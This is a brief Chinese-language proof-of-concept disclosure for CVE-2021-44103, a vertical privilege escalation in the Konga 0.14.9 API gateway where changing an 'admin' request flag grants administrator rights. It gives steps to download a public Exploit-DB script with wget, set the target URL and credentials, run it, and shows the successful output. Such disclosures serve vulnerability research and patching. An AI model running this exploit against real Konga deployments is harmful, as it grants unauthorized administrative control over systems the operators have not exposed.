CVE-2021-44103

KONGA 0.14.9 - 权限提升的概念验证。

简介

2021 年 11 月 16 日，Fabrício Salomão 和我在 Konga API 网关中发现了一个漏洞，允许任何经过身份验证的用户成为管理员。

漏洞报告

产品：KONGA
型号：0.14.9
漏洞类型：权限提升
影响：完全管理员访问权限（垂直权限提升）
认证：需要
Exploit 作者：Fabricio Salomao / Paulo Trindade

PoC

下面创建了一个名为 "usernormal" 的普通用户，没有任何权限。

Crash

通过下面的请求，参数 "admin" 中的标志 "FALSE" 被改为 "TRUE"。

Crash

因此为我们创建了一个 Exploit：https://www.exploit-db.com/exploits/50521

Crash

运行 Exploit 后，权限提升成功！

结果：

Crash

运行 Exploit

wget https://www.exploit-db.com/raw/50521 -O 50521.py

Edit 50521.py

Modify:

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga"            # change user
password = "changeme"                     # change password

Execute:

python 50521.py

[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success